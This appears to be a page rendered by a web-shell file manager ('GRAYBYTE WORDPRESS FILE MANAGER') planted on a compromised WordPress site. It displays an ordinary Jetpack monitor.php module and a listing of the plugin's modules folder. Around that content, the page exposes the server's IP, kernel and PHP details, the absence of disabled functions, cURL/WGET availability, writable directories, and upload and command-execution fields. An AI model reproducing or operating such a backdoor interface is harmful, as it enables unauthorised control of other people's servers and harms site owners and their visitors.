GRAYBYTE WORDPRESS FILE MANAGER2338

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/jetpack/modules//monitor.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Module Name: Monitor
 * Module Description: Jetpack’s downtime monitoring will continuously watch your site and alert you the moment that downtime is detected.
 * Sort Order: 28
 * Recommendation Order: 10
 * First Introduced: 2.6
 * Requires Connection: Yes
 * Requires User Connection: Yes
 * Auto Activate: No
 * Module Tags: Recommended
 * Feature: Security
 * Additional Search Queries: monitor, uptime, downtime, monitoring, maintenance, maintenance mode, offline, site is down, site down, down, repair, error
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Connection\Manager as Connection_Manager;

/**
 * Class Jetpack_Monitor
 */
class Jetpack_Monitor {

	/**
	 * Name of the module.
	 *
	 * @var string Name of module.
	 */
	public $module = 'monitor';

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'jetpack_modules_loaded', array( $this, 'jetpack_modules_loaded' ) );
		add_action( 'jetpack_activate_module_monitor', array( $this, 'activate_module' ) );
	}

	/**
	 * Runs upon module activation.
	 *
	 * @return void
	 */
	public function activate_module() {
		if ( ( new Connection_Manager( 'jetpack' ) )->is_user_connected() ) {
			self::update_option_receive_jetpack_monitor_notification( true );
		}
	}

	/**
	 * Runs on the jetpack_modules_loaded hook to enable configuation.
	 *
	 * @return void
	 */
	public function jetpack_modules_loaded() {
		Jetpack::enable_module_configurable( $this->module );
	}

	/**
	 * Whether to receive the notifications.
	 *
	 * @param bool $value `true` to enable notifications, `false` to disable them.
	 *
	 * @return bool
	 */
	public function update_option_receive_jetpack_monitor_notification( $value ) {
		$xml = new Jetpack_IXR_Client(
			array(
				'user_id' => get_current_user_id(),
			)
		);
		$xml->query( 'jetpack.monitor.setNotifications', (bool) $value );

		if ( $xml->isError() ) {
			wp_die( sprintf( '%s: %s', esc_html( $xml->getErrorCode() ), esc_html( $xml->getErrorMessage() ) ) );
		}

		// To be used only in Jetpack_Core_Json_Api_Endpoints::get_remote_value.
		update_option( 'monitor_receive_notifications', (bool) $value );

		return true;
	}

	/**
	 * Checks the status of notifications for current Jetpack site user.
	 *
	 * @since 2.8
	 * @since 4.1.0 New parameter $die_on_error.
	 *
	 * @param bool $die_on_error Whether to issue a wp_die when an error occurs or return a WP_Error object.
	 *
	 * @return boolean|WP_Error
	 */
	public static function user_receives_notifications( $die_on_error = true ) {
		$xml = new Jetpack_IXR_Client(
			array(
				'user_id' => get_current_user_id(),
			)
		);
		$xml->query( 'jetpack.monitor.isUserInNotifications' );

		if ( $xml->isError() ) {
			if ( $die_on_error ) {
				wp_die( sprintf( '%s: %s', esc_html( $xml->getErrorCode() ), esc_html( $xml->getErrorMessage() ) ), 400 );
			} else {
				return new WP_Error( $xml->getErrorCode(), $xml->getErrorMessage(), array( 'status' => 400 ) );
			}
		}
		return $xml->getResponse();
	}

	/**
	 * Returns date of the last downtime.
	 *
	 * @since 4.0.0
	 * @return string date in YYYY-MM-DD HH:mm:ss format
	 */
	public function monitor_get_last_downtime() {
		$xml = new Jetpack_IXR_Client();

		$xml->query( 'jetpack.monitor.getLastDowntime' );

		if ( $xml->isError() ) {
			return new WP_Error( 'monitor-downtime', $xml->getErrorMessage() );
		}

		set_transient( 'monitor_last_downtime', $xml->getResponse(), 10 * MINUTE_IN_SECONDS );

		return $xml->getResponse();
	}
}

new Jetpack_Monitor();

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
carousel
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
cloudflare-analytics
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
comment-likes
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
comments
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
custom-post-types
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
geo-location
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
google-fonts
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
gravatar
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
infinite-scroll
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
likes
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
markdown
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
memberships
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
photon-cdn
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
plugin-search
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
post-by-email
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
related-posts
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
scan
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
seo-tools
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
sharedaddy
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
shortcodes
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
simple-payments
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
site-icon
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
sitemaps
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
stats
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
subscriptions
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
theme-tools
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
tiled-gallery
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
verification-tools
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
videopress
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
widget-visibility
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
widgets
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
woocommerce-analytics
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
wordads
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
wpcom-tos
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
blaze.php
0.963 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
blocks.php
1.745 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
carousel.php
0.56 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
comment-likes.php
7.886 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
comments.php
1.058 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
contact-form.php
0.775 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
copy-post.php
13.084 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
custom-content-types.php
3.955 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
geo-location.php
0.252 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
google-fonts.php
0.521 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
gravatar-hovercards.php
11.836 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
infinite-scroll.php
8.189 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
json-api.php
0.473 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
latex.php
4.609 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
likes.php
19.787 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
markdown.php
0.983 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
masterbar.php
0.273 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
module-extras.php
2.584 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
module-headings.php
42.855 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
module-info.php
26.1 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
monitor.php
3.506 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
notes.php
7.662 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
photon-cdn.php
12.172 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
photon.php
0.694 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
plugin-search.php
21.582 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
post-by-email.php
0.582 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
post-list.php
0.521 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
protect.php
0.642 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
publicize.php
4.086 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
related-posts.php
2.142 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
search.php
1.174 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
seo-tools.php
1.521 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
sharedaddy.php
1.594 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
shortcodes.php
6.358 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
shortlinks.php
4.392 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
sitemaps.php
1.283 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
sso.php
0.668 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
stats.php
46.646 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
subscriptions.php
32.043 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
theme-tools.php
2.518 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
tiled-gallery.php
1.055 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vaultpress.php
1.769 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
verification-tools.php
0.811 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
videopress.php
0.983 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
waf.php
0.29 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
widget-visibility.php
0.464 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
widgets.php
2.723 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
woocommerce-analytics.php
0.841 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
wordads.php
0.572 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
wpgroho.js
1.931 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF